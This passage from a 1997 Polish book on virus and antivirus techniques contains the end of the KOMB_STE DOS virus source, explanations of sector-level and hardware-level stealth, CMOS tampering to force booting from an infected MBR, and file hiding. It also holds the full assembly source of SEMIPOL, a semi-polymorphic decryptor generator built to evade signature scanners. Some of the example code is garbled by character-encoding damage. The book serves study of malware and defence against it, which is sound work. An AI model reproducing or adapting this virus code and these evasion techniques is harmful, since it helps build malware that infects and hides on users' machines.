Cyfra09: ; / '0'..'9', 'A'..'F'

add al,'0' ; /


mov ah,0Eh ; funkcja BIOS - wyswietl znak

int 10h ; wywolaj funkcje


ret ; powrot


Decyzja: ; \ pobiera z klawiatury

mov ah,0h ; \ znak i sprawdza czy jest

int 16h ; \ to litera 'T'lub 't'

and al,0DFh ; \ jesli tak, ustawia CF=0

cmp al,'T' ; \ jesli nie, ustawia CF=1

clc ; /

je DecyzjaTak ; /

stc ; /

DecyzjaTak: ; /

ret ; /


NoweInt24: ;

mov al,3 ; sygnalizuj CF=1, gdy dowolny blad

; nie wywoluj ARIF

iret ; powrot z przerwania


TeCopyRight db CR,LF,'KOMB_STE v1.0, Autor : Adam Blaszczyk 1997',NUL

TeInstalacja db CR,LF,'_ Zainstalowac KOMB_STE w pamieci operacyjnej (T/N) ?',NUL

TeBylZainstalowany db CR,LF,'_ KOMB_STE jest juz w pamieci !',NUL

TeZainstalowany db CR,LF,'_ KOMB_STE zostal zainstalowany w segmencie : ',NUL

TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL

TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac zainfekowac go wirusem KOMB_STE (T/N) ?',NUL


StareBajty db 0CDh,20h,90h

Skok db 0E9h

KoniecWirusa:


Skok2 dw ?

StaryDS dw ?

StaryDX dw ?

Atrybut db ?

Czas dw ?

Stare24Ofs dw ?

Stare24Seg dw ?


KOMB_STE ends

end start


7.1.3. Podawanie prawdziwej zawartości sektorów (ang. sector level stealth)

Oczywiście, technikę stealth można stosować także w przypadku odczytu sektorów; należy przejąć obsługę funkcji (02/13) oraz ewentualnie (0A/13). W momencie próby odczytu zarażonego MBR lub BOOT-sektora wirus podsuwa programowi odczytującemu ich oryginalna, nie zainfekowaną zawartość (podobnie jak w przypadku plików, sektory zainfekowane muszą być w jakiś sposób oznaczone, żeby wirus mógł je rozpoznać). Aby ustrzec się przed programami umożliwiającymi odświeżenie tablicy partycji lub BOOT-sektora, można dodatkowo zabezpieczyć sektory zawierające wirusa przed zapisem poprzez przejęcie funkcji (03/13) i ewentualnie (0B/13).


7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych (ang. hardware level stealth)

W przypadku sektorów istnieje możliwość zastosowania tzw. techniki hardtvare level stealth, która jest rozszerzeniem metody opisanej w poprzednim punkcie. Technika ta polega na przechwyceniu odwołań do dysków już na etapie przerwania sprzętowego IRQ 14 (INT 76h) lub poprzez przejęcie wywoływanej przez to przerwanie funkcji (9100/15h), co umożliwia oszukiwanie systemu na najniższym poziomie programowym- Podczas obsługi tego przerwania lub funkcji wirus może odczytać z portów lFx dane o aktualnie wykonywanej operacji i następnie, w razie wykrycia odwołania np. do MBR, zmienić rozkaz tak, aby odczytywać inny sektor, zawierający prawdziwą zawartość MBR.

Sprawdzenie aktualnie wykonywanej operacji polega na odczycie baj-tu z portu 1F7 (rejestr statusowy IDE) i przetestowaniu bitów jego młodszej części. Jeżeli któryś z nich jest ustawiony (tzn. ma wartość l), oznacza to, iż właśnie jest wykonywana operacja odczytu. Parametry odczytywanego sektora (cylinder, głowicę, sektor) można odczytać z portów 1F3, 1F4/1F5/1F6. Jeżeli odczytane dane są zgodne z oczekiwanymi, wirus musi wykonać do końca operację odczytu oraz ustawić dane w portach kontrolera na inny sektor (np. na taki, w którym znajduje się oryginalna zawartość odczytywanego sektora).

W efekcie program antywirusowy, który używa do odczytu sektorów bezpośredniego adresu przerwania int 13h, zawartego w BIOS-ie, i tak będzie oszukiwany przez wirusa. Aby technika hardware level stealth zadziałała, sterownik dysku musi generować IRQ14 (co można ustawić programowo) przy realizacji operacji dostępu do dysku.


7.2. ModyfikacjaCMOS-a

Nowoczesne BIOS-y zawierają mechanizmy zabezpieczania niektórych newralgicznych sektorów przed zapisem (MBR, BOOT-sektory). W momencie wykrycia próby zapisu do któregoś z tych sektorów system najczęściej w jakiś sposób alarmuje użytkownika i czasem prosi go o potwierdzenie wykonywanej operacji lub też, aby kompletnie uniemożliwić tę operację, zawiesza komputer i czeka na naciśnięcie klawisza RESET.

To, czy BIOS będzie reagował na próby zapisu do newralgicznych sektorów, ustalane jest zwykle z poziomu programu SETUP, który dostępny jest po naciśnięciu jakiegoś klawisza (najczęściej DEL lub CTRL-ALT-ESC) podczas uruchamiania komputera. Ustalone w programie SETUP parametry są po jego opuszczeniu zapisywane do podtrzymywanej baterią pamięci CMOS.

Korzystając z tego, iż pamięć ta dostępna jest programowo, można zmodyfikować pewne dane, tak aby np. na chwilę odblokować zapis do MBR. Wymaga to jednak znajomości różnych systemów BIOS, gdyż znajdująca się w nich pamięć CMOS ma zazwyczaj zawartość odmienną od pamięci w innych komputerach, a jej zgodność ogranicza się do ustalonego znaczenia początkowych komórek tej pamięci (co jest konieczne ze względu na kompatybilność).

Drugim parametrem możliwym do zmodyfikowania w CMOS-ie jest wartość określająca, jakie napędy dyskietek zamontowane są w komputerze. Wirus może wyzerować tę wartość, tak iż przy starcie BIOS nie będzie widział żadnej dyskietki i będzie próbował załadować system z twardego dysku (z MBR), razem ze znajdującym się w nim wirusem. Po załadowaniu wirus przywraca parametry dyskietek w CMOS-ie i następnie sprawdza, czy napęd FDD zawiera dyskietkę i ewentualnie wczytuje z niej BOOT-sektor, po czym oddaje do niego sterowanie.

Zainstalowany w systemie wirus przy odwołaniach do dyskietek ustawia parametry w CMOS-ie, a po ich zakończeniu znowu je kasuje, tak więc po wyłączeniu komputera parametry w CMOS-ie będą najczęściej skasowane. Takie działałanie dość mocno utrudni załadowanie systemu z czystej dyskietki, zwłaszcza jeśli wirus potrafi także zainstalować w pamięci CMOS hasło, uniemożliwiające przeciętnemu użytkownikowi dostanie się do programu SETUP.


7.3. Atrybut etykiet dysku (ang. VolumeID)

Do ukrywania się w systemie niektóre wirusy wykorzystują fakt, iż programy przeglądające zawartości katalogu (typowe nakładki lub polecenie DIR) nie pokazują zwykle pozycji katalogu zawierających atrybut VolumeID (etykieta dysku). Wirusy dodają do dotychczasowych atrybutów pliku, zawierającego np. kod wirusa, także wyżej wymieniony atrybut (np. poprzez wykorzystanie omówionych wcześniej tablic SFT). Tak ukryty plik będzie widoczny najczęściej tylko w tzw. edytorach binarnych, operujących na zawartości fizycznych sektorów (np. Disk Editor).

Ta sztuczka nie wymaga instalowania w systemie żadnego rezydent-nego kodu, gdyż niewidzialność zagwarantuje sam system DOS.


7.4. Dodatkowe ścieżki na dyskach

Ze względu na to, iż wirusy zarażające sektor MBR lub BOOT-sektory są programami zajmującymi zwykle obszar będący wielokrotnością kilku sektorów, twórca wirusa musi podjąć decyzję, gdzie umieścić wirusa po infekcji.

Nie mogą to być sektory wybrane na chybił trafił, gdyż ich zamazanie kodem wirusa może zniszczyć dane, ważne dla działania systemu. Większość wirusów dopisuje się na początku dysku, w obszarze pierwszego cylindra (bezpośrednio za tablicą partycji). Tylko nieliczne wirusy potrafią lepiej ukryć swój kod przed programami antywirusowymi. Korzystając z tego, iż większość dysków posiada więcej sektorów niż liczba widziana przez system BIOS, wirusy doformato-wywują sobie dodatkowe używane sektory, po czym je wykorzystują.

kodu wirusa. Jedyną wadą tradycyjnego szyfrowania była konieczność pozostawienia nie zakodowanej procedury dekodującej, co w pewnym sensie skazywało wirusa na rychłe wykrycie, gdyż nawet kilkubajtowy kod takiej procedury stanowił w zasadzie sygnaturę wirusa, umożliwiającą jego identyfikację. Aby ominąć tę przeszkodę, zaczęto rozważać możliwość stworzenia generatora procedur dekodu-jących, które różniłyby się rozmieszczeniem i doborem instrukcji, rejestrami roboczymi oraz sposobem deszyfrowania. Przejście od teorii do praktyki stało się możliwe wraz z pojawieniem się MtE, który choć pierwszy, do dziś uznawany jest za generator produkujący jedne z najbardziej zmiennych i wyszukanych (ang. sophisticated) procedur

dekodujących. O stopniu skomplikowania wirusa szyfrującego swój kod decydują

dwie poniższe procedury:

> procedura generująca szyfrator (ang. encryptor);

> procedura generująca dekoder (ang. decryptor).

W zależności od ich skomplikowania można wyróżnić wirusy, które

zawierają:

> stały szyfrator + stały dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda identycznie (z dokładnością do kodu wirusa i pominięciem zmiennych zapamiętywanych wewnątrz wirusa); wykrywanie wirusa przebiega identycznie jak w przypadku wirusów nieszyfrowanych;

> stały szyfrator + zmienny dekoder - raczej rzadko stosowany;

jeżeli ktoś potrafi zastosować zmienny dekoder, zwykle tworzy także zmienną procedurę szyfrującą;

> zmienny szyfrator + stały dekoder - kod wirusa za każdym razem wygląda inaczej, dekoder jest zawsze taki sam; wykrycie procedury dekodującej wykrywa również wirusa;

> zmienny szyfrator + zmienny dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda inaczej; są to tzw. wirusy

polimorficzne


ROZDZIAŁ 8


8.1. Procedury szyfrujące kod

Do zaszyfrowania wirusa można zastosować dowolną z dostępnych w procesorze, odwracalnych operacji matematycznych lub logicznych, a więc:

> dodawanie - operacja ADD;

> odejmowanie - operacja SUB;

> suma modulo 2 - operacja XOR;

> negowanie arytmetyczne - operacja NEG;

> negowanie logiczne - operacja NOT;

> przesunięcie cykliczne w lewo - operacja ROL;

> przesunięcie cykliczne w prawo - operacja ROR.

Są to najczęściej wykorzystywane metody szyfrowania, choć nic nie stoi na przeszkodzie, aby wprowadzić inne, np. przestawianie bajtów miejscami, traktowanie licznika lub indeksu jako wartości używanej w wymienionych wyżej operacjach matematycznych i logicznych.

To, która operacja (lub operacje) będzie użyta oraz z jakimi parametrami, zależy wyłącznie od inwencji projektującego procedurę. Jeżeli składa się ona za każdym razem z tych samych instrukcji, to jest to stała procedura szyfrująca i będzie dawać za każdym razem taki sam obraz zakodowanego wirusa. Zupełnie inaczej sprawa ma się ze zmienną procedurą szyfrującą, która po wywołaniu wybiera przypadkowo ilość operacji szyfrujących, a następnie w pętli losuje:

> rodzaj operacji wykonywanej na argumencie;

> argumenty operacji;

> rodzaj argumentów (bajt, słowo, podwójne słowo, ewentualnie

inne).

Wybierane operacje oraz argumenty należy gdzieś zapamiętać (zwykle w tablicy lub na stosie), gdyż w przyszłości będzie je wykorzystywać procedura generująca dekoder.


8.2. Procedury dekodujące

Działanie typowego dekodera ogranicza się do wykonania w odwrotnej kolejności operacji wykonywanych przez procedurę szyfrującą, z uwzględnieniem koniecznych zmian operacji, np. ADD-SUB, SUB-ADD. Na przykład, jeżeli procedura szyfrująca wygląda następująco:

MOV CX, IleBajt¾w

MOV BX,Pocz╣tekDanychDoZakodowania

PÛtla:

XOR byte ptr [BX],12h

ADD byte ptr [BX],34h

NOT byte ptr [BX]

INC BX

LOOP PÛtla,

to procedura dekodująca powinna wyglądać mniej więcej tak:

MOV CX, IleBajt¾w

MOV BX,Pocz╣tekDanychDoZakodowania

PÛtla:

NOT byte ptr [BX]

SUB byte ptr [BX],34h

XOR byte ptr [BX],12h

INC BX

LOOP PÛtla.

W przykładzie tym operacja ADD z procedury szyfrującej przeszła w operację SUB w dekoderze (oczywiście można zastosować także operację ADD z przeciwnym argumentem, tzn. -34h). Niestety, nawet jeżeli kod wirusa jest szyfrowany za każdym razem inaczej, to i tak wszystkie możliwe do wygenerowania procedury dekodera będą zawsze zgodne ze schematem (dla poprzedniego przykładu):

MOV CX,IleBajt¾w

MOV BX,Pocz╣tekDanychDoZakodowania

PÛtla:

DEKODUJ [BX] DEKODUJ [BX]

DEKODUJ [BX]

INC BX

LOOP PÛtla,

co dla nowoczesnych skanerów nie stanowi żadnej przeszkody

Aby uzyskać za każdym razem inny, bardziej unikalny dekoder, można zastosować zmienne, polimorficzne procedury dekodujące.


8.2.1. Polimorficzne procedury dekodujące

Stworzenie własnego wirusa polimorficznego nie jest zadaniem łatwym, czego pośrednim dowodem jest dość mała ilość oryginalnych wirusów tego typu. Najtrudniejszym elementem jest oczywiście stworzenie samego generatora zmiennych procedur dekodujących.

Ze względu na specyfikę zadania, jakie musi on wykonywać (generowanie wykonywalnych sekwencji rozkazów), do jego zaprogramowania niezbędna jest znajomość rozkazów procesorów 80x86 oraz ich maszynowych odpowiedników.

Poniżej omówiono dwie metody tworzenia zmiennych procedur szyfrujących. W obu przypadkach założono, iż cały kod wirusa został już zakodowany w sposób omówiony w poprzednich punktach, zaś operacje i ich argumenty są zachowane w jakiejś tablicy.


8.2.1.1. Semi-polimorfizm

Aby rozkodować kod wirusa najczęściej stosuje się pętlę podobną do poniższej sekwencji:

MOV licznik, IleDanych

MOV indeks, Pocz╣tekDanychDoZakodowania

PÛtla:

dekoduj_i [indeks]

DEKODUJ_2 [indeks]

DEKODUJ_N [indeks]

ADD indeks, przyrost

LOOP PÛtla

Jest to procedura, którą bardzo larwo wykryć, ponieważ w zasadzie jest ona stalą. Chcąc uczynić ją w jakiś sposób zmienną, można zdefiniować pewną ilość podobnych do siebie w działaniu procedur i spośród nich losować tę, która zostanie użyta przy kolejnej generacji wirusa. Niektóre wirusy zawierają od kilku do kilkudziesięciu takich stałych procedur dekodujących, które choć działają tak samo, zbudowane są z różnych rejestrów i instrukcji. Ze względu na ograniczoną ilość takich procedur, które mogą być zawarte w ciele wirusa (zwiększają one przecież długość kodu), ilość różnych możliwych wariantów wirusa jest tak naprawdę bardzo ograniczona.

Inny sposób uzyskania pewnej zmienności w procedurze dekodującej polega na stworzeniu bufora wypełnionego przypadkowymi wartościami, w którym umieszcza się kolejne instrukcje procedury dekodującej, a po każdej z nich - rozkaz skoku do następnej instrukcji. Zaprogramowanie generatora takich procedur nie stanowi dużego problemu. Wystarczy znać odpowiednie kody maszynowe kolejnych rozkazów procedury dekodującej i sekwencyjnie umieszczać je w buforze, a bezpośrednio za nimi generować rozkaz skoku o kilka bajtów do przodu, np. rozkazem JMP SHORT NEAR (kod maszynowy 0EB/??) lub JMP NEAR (kod maszynowy E9/??/??).

Jedynym problemem, na jaki natknąć się może twórca takiej procedury są offsety, pod które powinien skakać program przy wykonywaniu pętli, gdyż zapisując instrukcje sekwencyjnie napotykamy na konieczność umieszczenia wartości początkowej np. w rejestrze, choć jeszcze jej nie znamy. Aby ominąć tę przeszkodę, najprościej zapamiętać offsety do instrukcji, zarezerwować dla nich miejsce, a następnie w dalszej części kodu (kiedy już są znane), zmodyfikować je pod zapamiętanymi offsetami.

W zamieszczonym programie przykładowym za pomocą powyższej metody szyfrowany jest krótki programik, mający za zadanie wyświetlenie komunikatu po jego uruchomieniu. Wynik kilkakrotnego działania procedury zapisywany jest w plikach SEMI????.COM, gdzie ???? jest parametrem podawanym przy starcie programu (w wypadku braku parametru - domyślnie=10). Wygenerowane pliki zawierają tylko jeden stały bajt na początku programu (część rozkazu JMP SHORT o kodzie EB). Poprzez zastąpienie procedury Losowy-Skok (wstawić RET zaraz po etykiecie LosowySkok:) można łatwo zmodyfikować ten program, tak aby generował pliki szyfrowane w standardowy sposób (bez dodawania losowych skoków pomiędzy instrukcjami).



;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; SEMIPOL v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Program generuje pliki zakodowane semi-polimorficznie ;

; (pomiedzy wlasciwe instrukcje dekodera sa wstawiane ;

; przypadkowe rozkazy JUMP) ;

; Kompilacja : ;

; TASM /m2 SEMIPOL.ASM ;

; TLINK SEMIPOL.OBJ ;

; ;

;----------------------------------------------------------------------------;

SEMI_POL SEGMENT


ASSUME CS:SEMI_POL, DS:SEMI_POL, SS:SEMI_POL, ES:SEMI_POL


NUL = 00h ; \

TAB = 09h ; \

LF = 0Ah ; \ stale znakowe

CR = 0Dh ; /

SPACE = 20h ; /

DOLAR = '$' ; /


RozmiarStosu equ 200h ; rozmiar stosu

DomyslnieIlePlikow = 10 ; domyslnie generuj 10 plikow


;-----------------------------------------------------------------------------

Start:

Call InicjujSystem ; ustaw zmienne programu


lea si,TeCopyRight ; wyswietl info o programie

Call Druk


Call WezParametry ; wez parametry z linii polecen


lea si,TeGenerator ; wyswietl info o dzialaniu

Call Druk


Call GenerowaniePlikow ; generuj pliki


mov ax,4C00h ; funkcja DOS - powrot do systemu

int 21h ; wywolaj funkcje


;-----------------------------------------------------------------------------

GenerowaniePlikow proc near ; procedura generuje pliki SEMI????.COM


push ds es ax bx cx dx si di ; zachowaj na stosie zmieniane rejestry


mov cx, LiczbaPlikow ; cx=ile plikow do wygenerowania


GenJedenPlik:


push cx ; zachowaj na stosie : ile plikow


lea si,AktualnaNazwaPliku ; \ wyswietl nazwe pliku

Call DrukLn ; /


lea dx,AktualnaNazwaPliku ; sprobuj otworzyc (tworzony) plik

mov ax,3D02h ; funkcja DOS - otworz plik

int 21h ; wywolaj funkcje

jnc WezUchwyt ; CF=0 plik juz istnial, nadpisz go


mov cx,20h ; atrybut pliku tworzonego : Archive

lea dx,AktualnaNazwaPliku ; podaj nazwe tworzonego pliku

mov ah,5Bh ; funkcja DOS - tworz plik

int 21h ; wywolaj funkcje


WezUchwyt:

mov UchwytPliku,ax ; zapamietaj uchwyt pliku



lea si,StartKoduPrzykladowego ; DS:SI - skad brac kod do szyfrowania

lea di,BuforDocelowy ; ES:DI - dokad zapisywac zaszyfrowany kod

mov cx,RozmiarPrzykladowegoKodu ; CX - rozmiar szyfrowanego kodu

Call SemiPol

; CX:=Ile danych do zapisu


lea dx,BuforDocelowy ; skad zapisac dane

mov bx,UchwytPliku ; numer uchwytu

mov ah,40h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje


mov ah,3Eh ; funkcja DOS - zamknij plik

int 21h ; wywolaj funkcje


Call ZwiekszNumerPliku ; SEMI(xxxx) -> SEMI(xxxx+1)


pop cx ; przywroc ze stosu : ile plikow


loop GenJedenPlik ; generuj CX plikow


pop di si dx cx bx ax es ds ; przywroc ze stosu zmieniane rejestry


ret ; powrot z procedury


GenerowaniePlikow endp


;-----------------------------------------------------------------------------

ZwiekszNumerPliku proc near ; zmienia SEMI(xxxx) na SEMI(xxxx+1)

; operuje na lancuchu 'SEMIxxxx'


push cx si ; zachowaj na stosie zmieniane rejestry


mov cx,4 ; CX = ile max. obiegow petli = 4 cyfry


ZwiekszNumerPlikuPetla:

mov si,cx

dec si

inc byte ptr [AktNumPliku+si] ; zwieksz cyfre od konca w SEMIxxxx


cmp byte ptr [AktNumPliku+si],'9'

; czy numer > 9 ?

jbe ZwiekszNumerPlikuPowrot ; nie wiekszy = powrot z procedury

; wiekszy = uwzglednij przeniesienie

mov byte ptr [AktNumPliku+si],'0'

; cyfra : 9->0

loop ZwiekszNumerPlikuPetla ; ewentualnie powtarzaj


ZwiekszNumerPlikuPowrot:


pop si cx ; przywroc ze stosu zmieniane rejestry


ret ; powrot z procedury


ZwiekszNumerPliku endp


;-----------------------------------------------------------------------------

WezParametry proc near ; pobiera parametry z PSP:80h


push ds ; zachowaj DS


mov di,DomyslnieIlePlikow ; DI=ile plikow wygenerowac


mov ds,PSP_Segment ; DS:=PSP

mov si,80h ; DS:SI=PSP:80


lodsw ; DS:SI=PSP:82, AX:=licznik znakow

or al,al ; czy sa jakies znaki w linii polecen ?

jz WezParametryPowrot ; nie = wyjdz z procedury


SzukajCyfry:

lodsb ; wez znak


cmp al,SPACE ; \pomin spacje

je SzukajCyfry ; /


cmp al,TAB ; \pomin tabulator

je SzukajCyfry ; /


mov bx,si ; zachowaj pozycje w lancuchu


SzukajCR: ; szukaj konca ciagu znakow


lodsb ; wez znak


cmp al,CR ; czy koniec lancucha ?

je LancuchNaLiczbe ; tak = konwersja


cmp al,SPACE ; czy spacja ?

je LancuchNaLiczbe ; tak = konwersja


cmp al,TAB ; czy tabulator ?

je LancuchNaLiczbe ; tak = konwersja


cmp al,'0' ; \

jb WezParametryPowrot ; \ czy znak w zakresie

; - '0'..'9'

cmp al,'9' ; / jezeli nie, to blad

ja WezParametryPowrot ; /


jmp short SzukajCR ; wez kolejny znak


LancuchNaLiczbe: ; konwersja lancucha na liczbe


mov cx,si ; wez koniec lancucha

sub cx,bx ; odejmij poczatek lancucha


jcxz WezParametryPowrot ; skocz, gdy nie ma czego konwertowac


cmp cx,4 ; czy liczba > 9999 ?

ja WezParametryPowrot ; skocz, jesli tak


mov bx,1 ; BX zawiera kolejne potegi 10

xor di,di ; DI zawiera aktualna sume


LancuchNaLiczbeLoop:

; znaki czytamy od konca

dec si ; \ SI:=SI-2

dec si ; /


lodsb ; pobierz znak

sub al,'0' ; konwertuj na liczbe z zakresu 0..9


mov ah,0 ; AX=AL

mul bx ; mnoz przez kolejna potege 10


add di,ax ; dodaj do sumy


mov ax,10 ; zwieksz potege 10

mul bx ; pomnoz 10*BX


xchg ax,bx ; BX:=10 do kolejnej potegi

; 1,10,100,1000


loop LancuchNaLiczbeLoop ; konwertuj kolene cyfry


WezParametryPowrot: ; DI zawiera liczbe plikow


pop ds ; przywroc DS ze stosu


mov LiczbaPlikow,di ; przepisz do zmiennej


ret ; powrot z procedury


WezParametry endp


;-----------------------------------------------------------------------------

DrukLn proc near ; procedura wyswietla tekst ASCIIZ

; spod adresu CS:SI i dodaje Enter


push si ; SI sie zmienia, trzeba zachowac


Call Druk ; najpierw wyswietl tekst


lea si,TeCRLF ; \ a teraz dodaj CR,LF

Call Druk ; /


pop si ; przywroc SI


ret ; powrot z procedury


DrukLn endp


;-----------------------------------------------------------------------------

Druk proc near ; procedura wyswietla tekst ASCIIZ

; spod adresu CS:SI


push ax ; \ zachowaj zmieniane rejestry

push si ; /


DrukNastepnyZnak:


lods byte ptr cs:[si] ; wez kolejny znak


or al,al ; czy znak jest zerem

jz DrukPowrot ; tak=koniec napisu, wyjdz z petli


Call DrukZnak ; jezeli nie, to wyswietl (znak w AL)


jmp short DrukNastepnyZnak ; idz po nastepny znak


DrukPowrot: ; tekst wydrukowany

pop si ; \ przywroc zmieniane rejestry

pop ax ; /


ret ; powrot z procedury


Druk endp


;-----------------------------------------------------------------------------

DrukZnak proc near ; procedura wyswietla znak w AL


push ax ; zachowaj zmieniany rejestr


mov ah,0Eh ; funkcja BIOS - wyswietl znak w AL

int 10h ; wywolaj funkcje


pop ax ; przywroc zmieniany rejestr


ret ; powrot z procedury


DrukZnak endp


;-----------------------------------------------------------------------------

InicjujSystem proc near ; ustawia stos, DS, ES itd.


pop bp ; zachowaj adres powrotu z procedury

; bo stos zostanie przeniesiony

mov CS:PSP_Segment,ds ; zapamietaj PSP


mov ax,cs ; \

mov ds,ax ; - CS=DS=ES

mov es,ax ; /


mov ss,ax ; \ stos na koniec programu

lea sp,StosKoniec ; /


cld ; DF=1, zwiekszaj przy operacjach lancuchowych


jmp bp ; powrot z procedury


InicjujSystem endp


;-----------------------------------------------------------------------------

SemiPol:

push ax si di ; zachowaj na stosie zmieniane rejestry


shr cx,1 ; dlugosc/2 bo szyfrujemy slowa

inc cx ; dla pewnosci, ze wszystkie bajty zostana

; zaszyfrowane


mov Semi_IleDanych,cx ; \

mov Semi_Skad,si ; - zachowaj dane

mov Semi_Dokad,di ; /


call PseudoLosowa ; wez przypadkowa liczbe

mov Semi_Losowa,ax ; bedzie jej uzywac szyfrator i deszyfrator


; szyfruj kod

lea di,TMPBufor ; gdzie zapisac szyfrowany kod

Szyfruj:


lodsw ; wez dana


add ax,Semi_Losowa ; szyfruj ja


stosw ; zapisz zaszyfrowana dana


loop Szyfruj ; powtarzaj szyfrowanie



; wpisz "smieci" do bufora

mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)


mov cx,256 ; CX:=AX:=ile slow zapisac (1..256)


Smietnik: ; wypelnianie


Call Pseudolosowa ; wez przypadkowa dana

stosw ; zapisz ja


loop Smietnik ; zapisz "smieci" w buforze


; generuj procedure dekodera

;

; Dekoder ma nastepujaca postac :

;

; mov si,PoczatekDanych BE,????

; mov cx,IleDanych B9,????

; Petla:

; sub [si],Losowa 81,2C,????

; dec cx 49

; jz Koniec 74,??

; jmp Petla E9,????

; Koniec:

;

mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk)


call LosowySkok ; wstaw losowy skok


mov al,0BEh ; DEKODER: mov si, ofset Poczaek

stosb ; BE,????

mov Semi_GdziePocz,di ; ofset bedzie wstawiony pozniej

stosw ; zostaw miejsce na ofset


call LosowySkok ; wstaw losowy skok


mov al,0B9h ; DEKODER: mov cx,IleDanych

stosb ; B9,????

mov ax,Semi_IleDanych ; wpisz, ile danych do odszyfrowania

stosw ;


call LosowySkok ; wstaw losowy skok


mov Semi_Petla,di ; DEKODER: sub [si],Losowa

mov ax,2C81h ; pierwsza czesc rozkazu

stosw

mov ax,Semi_Losowa ; zapisz wartosc dekodujaca

stosw ; zaszyfrowany program


call LosowySkok ; wstaw losowy skok


mov al,46h ; DEKODER: inc si

stosb


call LosowySkok ; wstaw losowy skok


mov al,46h ; DEKODER: inc si

stosb


call LosowySkok ; wstaw losowy skok


mov al,49h ; DEKODER: dec cx

stosb


call LosowySkok ; wstaw losowy skok


mov al,74h ; DEKODER: JZ ??

stosb ; wstaw pierwsza czesc rozkazu

mov Semi_DokadJZ,di ; zostanie ustawione pozniej

stosb ; zostaw miejsce na ofset


call LosowySkok ; wstaw losowy skok


mov al,0E9h ; DEKODER: JNZ -> JMP z powrotem

stosb ; wstaw E9

mov ax,Semi_Petla ; oblicz ofset do DEKODER : Petla:

sub ax,di ;

sub ax,2 ; odejmij dlugosc operandu w E9,????

stosw ;


mov bx,Semi_DokadJZ ; oblicz ofset do DEKODER : Koniec:

mov ax,di ; i wstaw go pod wczesniej zapamietany

sub ax,bx ; ofset

dec ax ; odejmij dlugosc operandu w 74,??

mov [bx],al ;


mov bx,Semi_GdziePocz ; oblicz ofset, gdzie zaczynaja

mov ax,di ; sie dane przeznaczone do deszyfrowania

sub ax,Semi_Dokad ; z uwzglednieneim ofsetu dla

add ax,100h ; pliku COM (ORG 100h)

mov [bx],ax ; i zapisz pod zapamietany adres


mov cx,Semi_IleDanych ; ile danych do kopiowania

lea si,TMPBufor ; pobieraj z bufora zawierajacego

rep movsw ; zaszyfrowany kod i kopiuj na koniec


mov cx,di ; oblicz, ile danych do zapisu, czyli

sub cx,Semi_Dokad ; wartosc zwracana przez procedure


pop di si ax ; przywroc zapamietane rejestry


ret ; powrot z procedury


;-----------------------------------------------------------------------------

LosowySkok: ; wstawia losowy skok


mov ax,15 ; zakres skokow 1..15

Call PseudolosowaAX ; losuj z zakresu 1..15


mov ah,al ;

mov al,0EBh ; AX=skok,EB

stosw ; zapisz EB,skok


mov al,ah ;

mov ah,0 ; AX:=AL=skok


add di,ax ; dodaj do di


ret ; powrot z procedury


Semi_IleDanych dw ? ; \ potrzebne do chwilowego

Semi_Skad dw ? ; - zachowania roznych wartosci

Semi_Dokad dw ? ; /

Semi_Losowa dw ? ; wartosc szyfrujaca kod

Semi_GdziePocz dw ? ; \ adresy do zmiennych nieznanych

Semi_Petla dw ? ; \ w momencie, kiedy sa potrzebne

Semi_DokadJZ dw ? ; / aby mozna bylo je pozniej

; / zmienic

PseudoZarodek dw ? ; \ aktualny zarodek generatora liczb

; / pseudolosowych

TMPBufor db 256 dup(?) ; \ rozmiar tymczasowego bufora

; - = 256 bajtow, (o rozmiarze co najmniej

; / rownym dlugosci kodu wirusa)


;-----------------------------------------------------------------------------

PseudoLosowa: ; generuje liczbe pseudolosowa

; z zakresu 1..65535

mov ax,0FFFFh


PseudoLosowaAX: ; przedzial w AX


push dx ; zachowaj na chwile DX


Call ZmienPseudoZarodek ; zmien zarodek


mul PseudoZarodek ; DX:AX:=przedzial*Zarodek

xchg ax,dx ; AX:=0..przedzial


inc ax ; pomin zero

pop dx ; przywroc DX ze stosu


ret


ZmienPseudoZarodek: ; zmienia PseudoZarodek


push ax ; zachowaj stary AX


in al,40h ; AL:=przypadkowa wartosc

xchg ah,al ; AH:=AL

in al,40h ; AX:=przypadkowa wartosc

xor ax,0ABCDh ; operacje pomocnicze

add ax,1234h ; operacje pomocnicze

mov PseudoZarodek,ax ; przepisz nowy zarodek


pop ax ; przywroc stary AX


ret ; powrot z procedury


;----------------------------------------------------------------------------;

; Programik do zaszyfrowania wyswietlajacy komunikat ;

; przy uzyciu 09/21 ;

;----------------------------------------------------------------------------;

RozmiarPrzykladowegoKodu = offset KoniecKoduPrzykladowego- offset StartKoduPrzykladowego


StartKoduPrzykladowego:

call TrikCALL_POP ; trik do uzyskania relatywnego ofsetu

TrikCALL_POP:

pop si ; wez relatywny ofset, gdzie kod jest w pamieci


mov dx,offset TePrzyklad-Offset StartKoduPrzykladowego-3

add dx,si ; DX:=ofset do tekstu (relatywny)


mov ah,9 ; funkcja DOS - wyswietl tekst$

int 21h ; wywolaj funkcje


int 20h ; powrot do DOS (program typu COM)


TePrzyklad db CR,LF ; tekst do wyswietlenia

db '[Program wygenerowany przez SEMIPOL v1.0, Autor: Adam Blaszczyk]'

db DOLAR

KoniecKoduPrzykladowego:

;-----------------------------------------------------------------------------


TeCopyRight db CR,LF,'SEMIPOL v1.0, Autor : Adam Blaszczyk 1997',

db CR,LF,NUL

TeGenerator db CR,LF,'Czekaj, generuje plik(i) ...',CR,LF,NUL

AktualnaNazwaPliku db 'SEMI'

AktNumPliku db '0001'

db '.COM',NUL

TeCRLF db CR,LF,NUL


PSP_Segment dw ?

UchwytPliku dw ?

LiczbaPlikow dw ?

BuforDocelowy db 4096 dup(?)



StosStart db RozmiarStosu dup(?)

StosKoniec:


SEMI_POL ENDS


END Start



8.2.1.2. Pełny polimorfizm

Prawdziwie polimorficzne generatory zmiennych procedur szyfrujących powinny tworzyć przy każdym uruchomieniu całkowicie nową, unikalną procedurę dekodującą. Procedura taka najczęściej zachowuje tylko funkcje poniższej sekwenq'i:

LICZNIK:=IleDanych

INDEX:=Pocz╣tekZaszyfrowanegoKodu

FOR I:=1 to Licznik do begin

